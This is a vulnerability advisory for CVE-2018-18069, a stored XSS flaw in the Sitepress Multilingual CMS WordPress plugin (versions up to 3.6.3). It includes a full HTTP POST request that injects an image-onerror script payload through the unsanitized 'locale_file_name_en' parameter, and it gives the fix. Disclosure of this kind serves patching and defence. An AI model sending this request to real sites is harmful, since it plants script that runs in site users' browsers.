## FULL DISCLOSURE
#Product : Sitepress Multilingual CMS Plugin
#Exploit Author : Rahul Pratap Singh
#Version : 3.6.3 and Below
#Home page Link : https://wpml.org/
#Date : 08/10/2018
#CVE-ID: CVE-2018-18069
Unauthenticated Stored XSS Vulnerability:
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Description:
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“locale_file_name_en” parameter is not sanitized that leads to stored XSS.
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Vulnerable Code:
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Exploit:
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Send the following POST request:
POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
icl_post_action=save_theme_localization&locale_file_name_en=”><img src=x onerror=alert(1)>
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POC:
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Fix:
Update to version 4.0
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
Rahul Pratap Singh 